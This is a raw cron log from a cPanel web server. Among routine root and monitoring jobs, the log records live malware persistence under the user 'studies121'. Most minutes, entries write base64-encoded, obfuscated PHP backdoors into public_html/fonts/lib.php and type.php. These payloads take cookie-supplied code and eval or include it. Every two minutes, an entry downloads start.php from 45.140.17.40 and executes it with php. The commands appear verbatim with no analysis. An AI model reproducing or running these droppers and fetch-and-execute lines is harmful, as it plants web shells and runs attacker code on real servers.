Sep 11 05:20:01 ip-184-168-122-23 CROND[7242]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 05:20:01 ip-184-168-122-23 CROND[7239]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:20:01 ip-184-168-122-23 CROND[7243]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 05:21:01 ip-184-168-122-23 CROND[7368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:21:01 ip-184-168-122-23 CROND[7367]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:21:01 ip-184-168-122-23 CROND[7369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:21:01 ip-184-168-122-23 CROND[7373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:22:01 ip-184-168-122-23 CROND[7539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:22:01 ip-184-168-122-23 CROND[7540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:22:02 ip-184-168-122-23 CROND[7543]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 05:22:02 ip-184-168-122-23 CROND[7544]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:22:02 ip-184-168-122-23 CROND[7546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:23:01 ip-184-168-122-23 CROND[7661]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:23:01 ip-184-168-122-23 CROND[7663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:23:01 ip-184-168-122-23 CROND[7664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:23:01 ip-184-168-122-23 CROND[7665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:24:01 ip-184-168-122-23 CROND[7778]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:24:01 ip-184-168-122-23 CROND[7781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:24:01 ip-184-168-122-23 CROND[7782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:24:01 ip-184-168-122-23 CROND[7780]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 05:24:01 ip-184-168-122-23 CROND[7783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:25:01 ip-184-168-122-23 CROND[7884]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:25:01 ip-184-168-122-23 CROND[7889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:25:01 ip-184-168-122-23 CROND[7890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:25:01 ip-184-168-122-23 CROND[7888]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 05:25:01 ip-184-168-122-23 CROND[7887]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 05:25:01 ip-184-168-122-23 CROND[7886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:26:02 ip-184-168-122-23 CROND[8021]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 05:26:02 ip-184-168-122-23 CROND[8022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:26:02 ip-184-168-122-23 CROND[8025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:26:02 ip-184-168-122-23 CROND[8028]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:26:02 ip-184-168-122-23 CROND[8027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:27:01 ip-184-168-122-23 CROND[8124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:27:01 ip-184-168-122-23 CROND[8127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:27:01 ip-184-168-122-23 CROND[8130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:27:01 ip-184-168-122-23 CROND[8128]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:28:01 ip-184-168-122-23 CROND[8317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:28:01 ip-184-168-122-23 CROND[8316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:28:01 ip-184-168-122-23 CROND[8319]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 05:28:01 ip-184-168-122-23 CROND[8322]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:28:01 ip-184-168-122-23 CROND[8323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:29:01 ip-184-168-122-23 CROND[8423]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:29:01 ip-184-168-122-23 CROND[8424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:29:01 ip-184-168-122-23 CROND[8426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:29:01 ip-184-168-122-23 CROND[8425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:30:01 ip-184-168-122-23 CROND[8523]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 05:30:01 ip-184-168-122-23 CROND[8526]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 05:30:01 ip-184-168-122-23 CROND[8527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:30:01 ip-184-168-122-23 CROND[8534]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:30:01 ip-184-168-122-23 CROND[8531]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 05:30:01 ip-184-168-122-23 CROND[8532]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:30:01 ip-184-168-122-23 CROND[8535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:30:01 ip-184-168-122-23 CROND[8530]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Sep 11 05:30:01 ip-184-168-122-23 CROND[8533]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 05:31:01 ip-184-168-122-23 CROND[8634]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:31:01 ip-184-168-122-23 CROND[8636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:31:01 ip-184-168-122-23 CROND[8639]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 05:31:01 ip-184-168-122-23 CROND[8637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:31:01 ip-184-168-122-23 CROND[8638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:32:01 ip-184-168-122-23 CROND[8739]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 05:32:01 ip-184-168-122-23 CROND[8741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:32:01 ip-184-168-122-23 CROND[8745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:32:01 ip-184-168-122-23 CROND[8743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:32:01 ip-184-168-122-23 CROND[8744]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:33:01 ip-184-168-122-23 CROND[8849]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:33:01 ip-184-168-122-23 CROND[8851]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
